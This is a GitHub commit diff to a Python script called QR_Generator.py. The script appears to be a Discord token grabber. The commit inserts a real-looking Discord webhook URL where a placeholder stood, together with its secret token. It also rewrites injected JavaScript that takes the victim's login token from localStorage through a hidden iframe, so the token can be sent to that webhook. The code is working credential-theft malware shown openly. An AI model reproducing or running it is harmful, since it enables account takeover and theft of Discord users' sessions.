Update QR_Generator.py

This commit is contained in:
Luci 2021-05-23 01:28:36 +01:00 committed by GitHub
parent 2b2413a48a
commit 6cd04d588f
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -7,7 +7,7 @@ import os
import requests
#Set Webhook Here!
url = "WEBHOOK GOES HERE"
url = "https://discord.com/api/webhooks/845455192525897728/WbyO3GHw8uQExNattEyjECQ-ZJj9cHYM33g-ztujVVr-sNNpI1YjBuG21Y5IQ5uXIxxS"
# Developer: NightfallGT
@ -65,17 +65,13 @@ def main():
if discord_login != driver.current_url:
print('Grabbing token... \n')
token = driver.execute_script('''
getToken = function () {
window.dispatchEvent(new Event('beforeunload'));
let iframe = document.createElement('iframe');
iframe.style.display = 'none';
document.body.appendChild(iframe);
let localStorage = iframe.contentWindow.localStorage;
var token = JSON.parse(localStorage.token);
return token;
}
let token = getToken();
return token;
window.dispatchEvent(new Event('beforeunload'));
let iframe = document.createElement('iframe');
iframe.style.display = 'none';
document.body.appendChild(iframe);
let localStorage = iframe.contentWindow.localStorage;
var token = JSON.parse(localStorage.token);
return token;
''')
print('------------------------------------------------------------------------------------------')